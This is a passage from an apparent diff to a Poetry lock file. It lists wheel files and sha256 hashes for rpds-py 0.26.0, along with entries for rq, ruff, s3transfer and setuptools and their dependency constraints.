"rpds_py-0.26.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:77a7711fa562ba2da1aa757e11024ad6d93bad6ad7ede5afb9af144623e5f76a"}, + {file = "rpds_py-0.26.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:238e8c8610cb7c29460e37184f6799547f7e09e6a9bdbdab4e8edb90986a2318"}, + {file = "rpds_py-0.26.0-cp311-cp311-win32.whl", hash = "sha256:893b022bfbdf26d7bedb083efeea624e8550ca6eb98bf7fea30211ce95b9201a"}, + {file = "rpds_py-0.26.0-cp311-cp311-win_amd64.whl", hash = "sha256:87a5531de9f71aceb8af041d72fc4cab4943648d91875ed56d2e629bef6d4c03"}, + {file = "rpds_py-0.26.0-cp311-cp311-win_arm64.whl", hash = "sha256:de2713f48c1ad57f89ac25b3cb7daed2156d8e822cf0eca9b96a6f990718cc41"}, + {file = "rpds_py-0.26.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:894514d47e012e794f1350f076c427d2347ebf82f9b958d554d12819849a369d"}, + {file = "rpds_py-0.26.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fc921b96fa95a097add244da36a1d9e4f3039160d1d30f1b35837bf108c21136"}, + {file = "rpds_py-0.26.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3e1157659470aa42a75448b6e943c895be8c70531c43cb78b9ba990778955582"}, + {file = "rpds_py-0.26.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:521ccf56f45bb3a791182dc6b88ae5f8fa079dd705ee42138c76deb1238e554e"}, + {file = "rpds_py-0.26.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9def736773fd56b305c0eef698be5192c77bfa30d55a0e5885f80126c4831a15"}, + {file = "rpds_py-0.26.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cdad4ea3b4513b475e027be79e5a0ceac8ee1c113a1a11e5edc3c30c29f964d8"}, + {file = "rpds_py-0.26.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:82b165b07f416bdccf5c84546a484cc8f15137ca38325403864bfdf2b5b72f6a"}, + {file = "rpds_py-0.26.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d04cab0a54b9dba4d278fe955a1390da3cf71f57feb78ddc7cb67cbe0bd30323"}, + {file = "rpds_py-0.26.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:79061ba1a11b6a12743a2b0f72a46aa2758613d454aa6ba4f5a265cc48850158"}, + {file = "rpds_py-0.26.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:f405c93675d8d4c5ac87364bb38d06c988e11028a64b52a47158a355079661f3"}, + {file = "rpds_py-0.26.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:dafd4c44b74aa4bed4b250f1aed165b8ef5de743bcca3b88fc9619b6087093d2"}, + {file = "rpds_py-0.26.0-cp312-cp312-win32.whl", hash = "sha256:3da5852aad63fa0c6f836f3359647870e21ea96cf433eb393ffa45263a170d44"}, + {file = "rpds_py-0.26.0-cp312-cp312-win_amd64.whl", hash = "sha256:cf47cfdabc2194a669dcf7a8dbba62e37a04c5041d2125fae0233b720da6f05c"}, + {file = "rpds_py-0.26.0-cp312-cp312-win_arm64.whl", hash = "sha256:20ab1ae4fa534f73647aad289003f1104092890849e0266271351922ed5574f8"}, + {file = "rpds_py-0.26.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:696764a5be111b036256c0b18cd29783fab22154690fc698062fc1b0084b511d"}, + {file = "rpds_py-0.26.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:1e6c15d2080a63aaed876e228efe4f814bc7889c63b1e112ad46fdc8b368b9e1"}, + {file = "rpds_py-0.26.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:390e3170babf42462739a93321e657444f0862c6d722a291accc46f9d21ed04e"}, + {file = "rpds_py-0.26.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7da84c2c74c0f5bc97d853d9e17bb83e2dcafcff0dc48286916001cc114379a1"}, + {file = "rpds_py-0.26.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4c5fe114a6dd480a510b6d3661d09d67d1622c4bf20660a474507aaee7eeeee9"}, + {file = "rpds_py-0.26.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3100b3090269f3a7ea727b06a6080d4eb7439dca4c0e91a07c5d133bb1727ea7"}, + {file = "rpds_py-0.26.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2c03c9b0c64afd0320ae57de4c982801271c0c211aa2d37f3003ff5feb75bb04"}, + {file = "rpds_py-0.26.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5963b72ccd199ade6ee493723d18a3f21ba7d5b957017607f815788cef50eaf1"}, + {file = "rpds_py-0.26.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:9da4e873860ad5bab3291438525cae80169daecbfafe5657f7f5fb4d6b3f96b9"}, + {file = "rpds_py-0.26.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:5afaddaa8e8c7f1f7b4c5c725c0070b6eed0228f705b90a1732a48e84350f4e9"}, + {file = "rpds_py-0.26.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4916dc96489616a6f9667e7526af8fa693c0fdb4f3acb0e5d9f4400eb06a47ba"}, + {file = "rpds_py-0.26.0-cp313-cp313-win32.whl", hash = "sha256:2a343f91b17097c546b93f7999976fd6c9d5900617aa848c81d794e062ab302b"}, + {file = "rpds_py-0.26.0-cp313-cp313-win_amd64.whl", hash = "sha256:0a0b60701f2300c81b2ac88a5fb893ccfa408e1c4a555a77f908a2596eb875a5"}, + {file = "rpds_py-0.26.0-cp313-cp313-win_arm64.whl", hash = "sha256:257d011919f133a4746958257f2c75238e3ff54255acd5e3e11f3ff41fd14256"}, + {file = "rpds_py-0.26.0-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:529c8156d7506fba5740e05da8795688f87119cce330c244519cf706a4a3d618"}, + {file = "rpds_py-0.26.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:f53ec51f9d24e9638a40cabb95078ade8c99251945dad8d57bf4aabe86ecee35"}, + {file = "rpds_py-0.26.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7ab504c4d654e4a29558eaa5bb8cea5fdc1703ea60a8099ffd9c758472cf913f"}, + {file = "rpds_py-0.26.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:fd0641abca296bc1a00183fe44f7fced8807ed49d501f188faa642d0e4975b83"}, + {file = "rpds_py-0.26.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:69b312fecc1d017b5327afa81d4da1480f51c68810963a7336d92203dbb3d4f1"}, + {file = "rpds_py-0.26.0-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c741107203954f6fc34d3066d213d0a0c40f7bb5aafd698fb39888af277c70d8"}, + {file = "rpds_py-0.26.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fc3e55a7db08dc9a6ed5fb7103019d2c1a38a349ac41901f9f66d7f95750942f"}, + {file = "rpds_py-0.26.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:9e851920caab2dbcae311fd28f4313c6953993893eb5c1bb367ec69d9a39e7ed"}, + {file = "rpds_py-0.26.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:dfbf280da5f876d0b00c81f26bedce274e72a678c28845453885a9b3c22ae632"}, + {file = "rpds_py-0.26.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:1cc81d14ddfa53d7f3906694d35d54d9d3f850ef8e4e99ee68bc0d1e5fed9a9c"}, + {file = "rpds_py-0.26.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:dca83c498b4650a91efcf7b88d669b170256bf8017a5db6f3e06c2bf031f57e0"}, + {file = "rpds_py-0.26.0-cp313-cp313t-win32.whl", hash = "sha256:4d11382bcaf12f80b51d790dee295c56a159633a8e81e6323b16e55d81ae37e9"}, + {file = "rpds_py-0.26.0-cp313-cp313t-win_amd64.whl", hash = "sha256:ff110acded3c22c033e637dd8896e411c7d3a11289b2edf041f86663dbc791e9"}, + {file = "rpds_py-0.26.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:da619979df60a940cd434084355c514c25cf8eb4cf9a508510682f6c851a4f7a"}, + {file = "rpds_py-0.26.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:ea89a2458a1a75f87caabefe789c87539ea4e43b40f18cff526052e35bbb4fdf"}, + {file = "rpds_py-0.26.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:feac1045b3327a45944e7dcbeb57530339f6b17baff154df51ef8b0da34c8c12"}, + {file = "rpds_py-0.26.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b818a592bd69bfe437ee8368603d4a2d928c34cffcdf77c2e761a759ffd17d20"}, + {file = "rpds_py-0.26.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1a8b0dd8648709b62d9372fc00a57466f5fdeefed666afe3fea5a6c9539a0331"}, + {file = "rpds_py-0.26.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6d3498ad0df07d81112aa6ec6c95a7e7b1ae00929fb73e7ebee0f3faaeabad2f"}, + {file = "rpds_py-0.26.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:24a4146ccb15be237fdef10f331c568e1b0e505f8c8c9ed5d67759dac58ac246"}, + {file = "rpds_py-0.26.0-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:a9a63785467b2d73635957d32a4f6e73d5e4df497a16a6392fa066b753e87387"}, + {file = "rpds_py-0.26.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:de4ed93a8c91debfd5a047be327b7cc8b0cc6afe32a716bbbc4aedca9e2a83af"}, + {file = "rpds_py-0.26.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:caf51943715b12af827696ec395bfa68f090a4c1a1d2509eb4e2cb69abbbdb33"}, + {file = "rpds_py-0.26.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4a59e5bc386de021f56337f757301b337d7ab58baa40174fb150accd480bc953"}, + {file = "rpds_py-0.26.0-cp314-cp314-win32.whl", hash = "sha256:92c8db839367ef16a662478f0a2fe13e15f2227da3c1430a782ad0f6ee009ec9"}, + {file = "rpds_py-0.26.0-cp314-cp314-win_amd64.whl", hash = "sha256:b0afb8cdd034150d4d9f53926226ed27ad15b7f465e93d7468caaf5eafae0d37"}, + {file = "rpds_py-0.26.0-cp314-cp314-win_arm64.whl", hash = "sha256:ca3f059f4ba485d90c8dc75cb5ca897e15325e4e609812ce57f896607c1c0867"}, + {file = "rpds_py-0.26.0-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:5afea17ab3a126006dc2f293b14ffc7ef3c85336cf451564a0515ed7648033da"}, + {file = "rpds_py-0.26.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:69f0c0a3df7fd3a7eec50a00396104bb9a843ea6d45fcc31c2d5243446ffd7a7"}, + {file = "rpds_py-0.26.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:801a71f70f9813e82d2513c9a96532551fce1e278ec0c64610992c49c04c2dad"}, + {file = "rpds_py-0.26.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:df52098cde6d5e02fa75c1f6244f07971773adb4a26625edd5c18fee906fa84d"}, + {file = "rpds_py-0.26.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9bc596b30f86dc6f0929499c9e574601679d0341a0108c25b9b358a042f51bca"}, + {file = "rpds_py-0.26.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9dfbe56b299cf5875b68eb6f0ebaadc9cac520a1989cac0db0765abfb3709c19"}, + {file = "rpds_py-0.26.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac64f4b2bdb4ea622175c9ab7cf09444e412e22c0e02e906978b3b488af5fde8"}, + {file = "rpds_py-0.26.0-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:181ef9b6bbf9845a264f9aa45c31836e9f3c1f13be565d0d010e964c661d1e2b"}, + {file = "rpds_py-0.26.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:49028aa684c144ea502a8e847d23aed5e4c2ef7cadfa7d5eaafcb40864844b7a"}, + {file = "rpds_py-0.26.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:e5d524d68a474a9688336045bbf76cb0def88549c1b2ad9dbfec1fb7cfbe9170"}, + {file = "rpds_py-0.26.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:c1851f429b822831bd2edcbe0cfd12ee9ea77868f8d3daf267b189371671c80e"}, + {file = "rpds_py-0.26.0-cp314-cp314t-win32.whl", hash = "sha256:7bdb17009696214c3b66bb3590c6d62e14ac5935e53e929bcdbc5a495987a84f"}, + {file = "rpds_py-0.26.0-cp314-cp314t-win_amd64.whl", hash = "sha256:f14440b9573a6f76b4ee4770c13f0b5921f71dde3b6fcb8dabbefd13b7fe05d7"}, + {file = "rpds_py-0.26.0-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:7a48af25d9b3c15684059d0d1fc0bc30e8eee5ca521030e2bffddcab5be40226"}, + {file = "rpds_py-0.26.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0c71c2f6bf36e61ee5c47b2b9b5d47e4d1baad6426bfed9eea3e858fc6ee8806"}, + {file = "rpds_py-0.26.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d815d48b1804ed7867b539236b6dd62997850ca1c91cad187f2ddb1b7bbef19"}, + {file = "rpds_py-0.26.0-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:84cfbd4d4d2cdeb2be61a057a258d26b22877266dd905809e94172dff01a42ae"}, + {file = "rpds_py-0.26.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fbaa70553ca116c77717f513e08815aec458e6b69a028d4028d403b3bc84ff37"}, + {file = "rpds_py-0.26.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:39bfea47c375f379d8e87ab4bb9eb2c836e4f2069f0f65731d85e55d74666387"}, + {file = "rpds_py-0.26.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1533b7eb683fb5f38c1d68a3c78f5fdd8f1412fa6b9bf03b40f450785a0ab915"}, + {file = "rpds_py-0.26.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c5ab0ee51f560d179b057555b4f601b7df909ed31312d301b99f8b9fc6028284"}, + {file = "rpds_py-0.26.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:e5162afc9e0d1f9cae3b577d9c29ddbab3505ab39012cb794d94a005825bde21"}, + {file = "rpds_py-0.26.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:43f10b007033f359bc3fa9cd5e6c1e76723f056ffa9a6b5c117cc35720a80292"}, + {file = "rpds_py-0.26.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:e3730a48e5622e598293eee0762b09cff34dd3f271530f47b0894891281f051d"}, + {file = "rpds_py-0.26.0-cp39-cp39-win32.whl", hash = "sha256:4b1f66eb81eab2e0ff5775a3a312e5e2e16bf758f7b06be82fb0d04078c7ac51"}, + {file = "rpds_py-0.26.0-cp39-cp39-win_amd64.whl", hash = "sha256:519067e29f67b5c90e64fb1a6b6e9d2ec0ba28705c51956637bac23a2f4ddae1"}, + {file = "rpds_py-0.26.0-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:3c0909c5234543ada2515c05dc08595b08d621ba919629e94427e8e03539c958"}, + {file = "rpds_py-0.26.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:c1fb0cda2abcc0ac62f64e2ea4b4e64c57dfd6b885e693095460c61bde7bb18e"}, + {file = "rpds_py-0.26.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:84d142d2d6cf9b31c12aa4878d82ed3b2324226270b89b676ac62ccd7df52d08"}, + {file = "rpds_py-0.26.0-pp310-pypy310_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a547e21c5610b7e9093d870be50682a6a6cf180d6da0f42c47c306073bfdbbf6"}, + {file = "rpds_py-0.26.0-pp310-pypy310_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:35e9a70a0f335371275cdcd08bc5b8051ac494dd58bff3bbfb421038220dc871"}, + {file = "rpds_py-0.26.0-pp310-pypy310_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0dfa6115c6def37905344d56fb54c03afc49104e2ca473d5dedec0f6606913b4"}, + {file = "rpds_py-0.26.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:313cfcd6af1a55a286a3c9a25f64af6d0e46cf60bc5798f1db152d97a216ff6f"}, + {file = "rpds_py-0.26.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f7bf2496fa563c046d05e4d232d7b7fd61346e2402052064b773e5c378bf6f73"}, + {file = "rpds_py-0.26.0-pp310-pypy310_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:aa81873e2c8c5aa616ab8e017a481a96742fdf9313c40f14338ca7dbf50cb55f"}, + {file = "rpds_py-0.26.0-pp310-pypy310_pp73-musllinux_1_2_i686.whl", hash = "sha256:68ffcf982715f5b5b7686bdd349ff75d422e8f22551000c24b30eaa1b7f7ae84"}, + {file = "rpds_py-0.26.0-pp310-pypy310_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:6188de70e190847bb6db3dc3981cbadff87d27d6fe9b4f0e18726d55795cee9b"}, + {file = "rpds_py-0.26.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:1c962145c7473723df9722ba4c058de12eb5ebedcb4e27e7d902920aa3831ee8"}, + {file = "rpds_py-0.26.0-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:f61a9326f80ca59214d1cceb0a09bb2ece5b2563d4e0cd37bfd5515c28510674"}, + {file = "rpds_py-0.26.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:183f857a53bcf4b1b42ef0f57ca553ab56bdd170e49d8091e96c51c3d69ca696"}, + {file = "rpds_py-0.26.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:941c1cfdf4799d623cf3aa1d326a6b4fdb7a5799ee2687f3516738216d2262fb"}, + {file = "rpds_py-0.26.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:72a8d9564a717ee291f554eeb4bfeafe2309d5ec0aa6c475170bdab0f9ee8e88"}, + {file = "rpds_py-0.26.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:511d15193cbe013619dd05414c35a7dedf2088fcee93c6bbb7c77859765bd4e8"}, + {file = "rpds_py-0.26.0-pp311-pypy311_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:aea1f9741b603a8d8fedb0ed5502c2bc0accbc51f43e2ad1337fe7259c2b77a5"}, + {file = "rpds_py-0.26.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4019a9d473c708cf2f16415688ef0b4639e07abaa569d72f74745bbeffafa2c7"}, + {file = "rpds_py-0.26.0-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:093d63b4b0f52d98ebae33b8c50900d3d67e0666094b1be7a12fffd7f65de74b"}, + {file = "rpds_py-0.26.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:2abe21d8ba64cded53a2a677e149ceb76dcf44284202d737178afe7ba540c1eb"}, + {file = "rpds_py-0.26.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:4feb7511c29f8442cbbc28149a92093d32e815a28aa2c50d333826ad2a20fdf0"}, + {file = "rpds_py-0.26.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:e99685fc95d386da368013e7fb4269dd39c30d99f812a8372d62f244f662709c"}, + {file = "rpds_py-0.26.0-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:a90a13408a7a856b87be8a9f008fff53c5080eea4e4180f6c2e546e4a972fb5d"}, + {file = "rpds_py-0.26.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:3ac51b65e8dc76cf4949419c54c5528adb24fc721df722fd452e5fbc236f5c40"}, + {file = "rpds_py-0.26.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59b2093224a18c6508d95cfdeba8db9cbfd6f3494e94793b58972933fcee4c6d"}, + {file = "rpds_py-0.26.0-pp39-pypy39_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4f01a5d6444a3258b00dc07b6ea4733e26f8072b788bef750baa37b370266137"}, + {file = "rpds_py-0.26.0-pp39-pypy39_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b6e2c12160c72aeda9d1283e612f68804621f448145a210f1bf1d79151c47090"}, + {file = "rpds_py-0.26.0-pp39-pypy39_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cb28c1f569f8d33b2b5dcd05d0e6ef7005d8639c54c2f0be824f05aedf715255"}, + {file = "rpds_py-0.26.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1766b5724c3f779317d5321664a343c07773c8c5fd1532e4039e6cc7d1a815be"}, + {file = "rpds_py-0.26.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b6d9e5a2ed9c4988c8f9b28b3bc0e3e5b1aaa10c28d210a594ff3a8c02742daf"}, + {file = "rpds_py-0.26.0-pp39-pypy39_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:b5f7a446ddaf6ca0fad9a5535b56fbfc29998bf0e0b450d174bbec0d600e1d72"}, + {file = "rpds_py-0.26.0-pp39-pypy39_pp73-musllinux_1_2_i686.whl", hash = "sha256:eed5ac260dd545fbc20da5f4f15e7efe36a55e0e7cf706e4ec005b491a9546a0"}, + {file = "rpds_py-0.26.0-pp39-pypy39_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:582462833ba7cee52e968b0341b85e392ae53d44c0f9af6a5927c80e539a8b67"}, + {file = "rpds_py-0.26.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:69a607203441e07e9a8a529cff1d5b73f6a160f22db1097211e6212a68567d11"}, + {file = "rpds_py-0.26.0.tar.gz", hash = "sha256:20dae58a859b0906f0685642e591056f1e787f3a8b39c8e8749a45dc7d26bdb0"}, +] + +[[package]] +name = "rq" +version = "2.4.1" +description = "RQ is a simple, lightweight, library for creating background jobs, and processing them." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "rq-2.4.1-py3-none-any.whl", hash = "sha256:a3a0839ba3213a9be013b398670caf71d9360a0c8525f343687cf2c2199e5ec8"}, + {file = "rq-2.4.1.tar.gz", hash = "sha256:40ba01af3edacc008ab376009a3a547278d2bfe02a77cd4434adc0b01788239f"}, +] + +[package.dependencies] +click = ">=5" +redis = ">=3.5,<6 || >6" + +[[package]] +name = "ruff" +version = "0.11.13" +description = "An extremely fast Python linter and code formatter, written in Rust." +optional = false +python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "ruff-0.11.13-py3-none-linux_armv6l.whl", hash = "sha256:4bdfbf1240533f40042ec00c9e09a3aade6f8c10b6414cf11b519488d2635d46"}, + {file = "ruff-0.11.13-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:aef9c9ed1b5ca28bb15c7eac83b8670cf3b20b478195bd49c8d756ba0a36cf48"}, + {file = "ruff-0.11.13-py3-none-macosx_11_0_arm64.whl", hash = "sha256:53b15a9dfdce029c842e9a5aebc3855e9ab7771395979ff85b7c1dedb53ddc2b"}, + {file = "ruff-0.11.13-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ab153241400789138d13f362c43f7edecc0edfffce2afa6a68434000ecd8f69a"}, + {file = "ruff-0.11.13-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6c51f93029d54a910d3d24f7dd0bb909e31b6cd989a5e4ac513f4eb41629f0dc"}, + {file = "ruff-0.11.13-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1808b3ed53e1a777c2ef733aca9051dc9bf7c99b26ece15cb59a0320fbdbd629"}, + {file = "ruff-0.11.13-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:d28ce58b5ecf0f43c1b71edffabe6ed7f245d5336b17805803312ec9bc665933"}, + {file = "ruff-0.11.13-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:55e4bc3a77842da33c16d55b32c6cac1ec5fb0fbec9c8c513bdce76c4f922165"}, + {file = "ruff-0.11.13-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:633bf2c6f35678c56ec73189ba6fa19ff1c5e4807a78bf60ef487b9dd272cc71"}, + {file = "ruff-0.11.13-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4ffbc82d70424b275b089166310448051afdc6e914fdab90e08df66c43bb5ca9"}, + {file = "ruff-0.11.13-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:4a9ddd3ec62a9a89578c85842b836e4ac832d4a2e0bfaad3b02243f930ceafcc"}, + {file = "ruff-0.11.13-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:d237a496e0778d719efb05058c64d28b757c77824e04ffe8796c7436e26712b7"}, + {file = "ruff-0.11.13-py3-none-musllinux_1_2_i686.whl", hash = "sha256:26816a218ca6ef02142343fd24c70f7cd8c5aa6c203bca284407adf675984432"}, + {file = "ruff-0.11.13-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:51c3f95abd9331dc5b87c47ac7f376db5616041173826dfd556cfe3d4977f492"}, + {file = "ruff-0.11.13-py3-none-win32.whl", hash = "sha256:96c27935418e4e8e77a26bb05962817f28b8ef3843a6c6cc49d8783b5507f250"}, + {file = "ruff-0.11.13-py3-none-win_amd64.whl", hash = "sha256:29c3189895a8a6a657b7af4e97d330c8a3afd2c9c8f46c81e2fc5a31866517e3"}, + {file = "ruff-0.11.13-py3-none-win_arm64.whl", hash = "sha256:b4385285e9179d608ff1d2fb9922062663c658605819a6876d8beef0c30b7f3b"}, + {file = "ruff-0.11.13.tar.gz", hash = "sha256:26fa247dc68d1d4e72c179e08889a25ac0c7ba4d78aecfc835d49cbfd60bf514"}, +] + +[[package]] +name = "s3transfer" +version = "0.10.4" +description = "An Amazon S3 Transfer Manager" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "s3transfer-0.10.4-py3-none-any.whl", hash = "sha256:244a76a24355363a68164241438de1b72f8781664920260c48465896b712a41e"}, + {file = "s3transfer-0.10.4.tar.gz", hash = "sha256:29edc09801743c21eb5ecbc617a152df41d3c287f67b615f73e5f750583666a7"}, +] + +[package.dependencies] +botocore = ">=1.33.2,<2.0a.0" + +[package.extras] +crt = ["botocore[crt] (>=1.33.2,<2.0a.0)"] + +[[package]] +name = "setuptools" +version = "80.9.0" +description = "Easily download, build, install, upgrade, and uninstall Python packages" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "setuptools-80.9.0-py3-none-any.whl", hash = "sha256:062d34222ad13e0cc312a4c02d73f059e86a4acbfbdea8f8f76b28c99f306922"}, + {file = "setuptools-80.9.0.tar.gz", hash = "sha256:f36b47402ecde768dbfafc46e8e4207b4360c654f1f3bb84475f0a28628fb19c"}, +] + +[package.extras] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1)", "ruff (>=0.8.0)"] +core = ["importlib_metadata (>=6)", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging (>=24.2)", "platformdirs (>=4.2.2)", "tomli (>=2.0.1)", "wheel (>=0.43.0)"] +cover = ["pytest-cov"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", 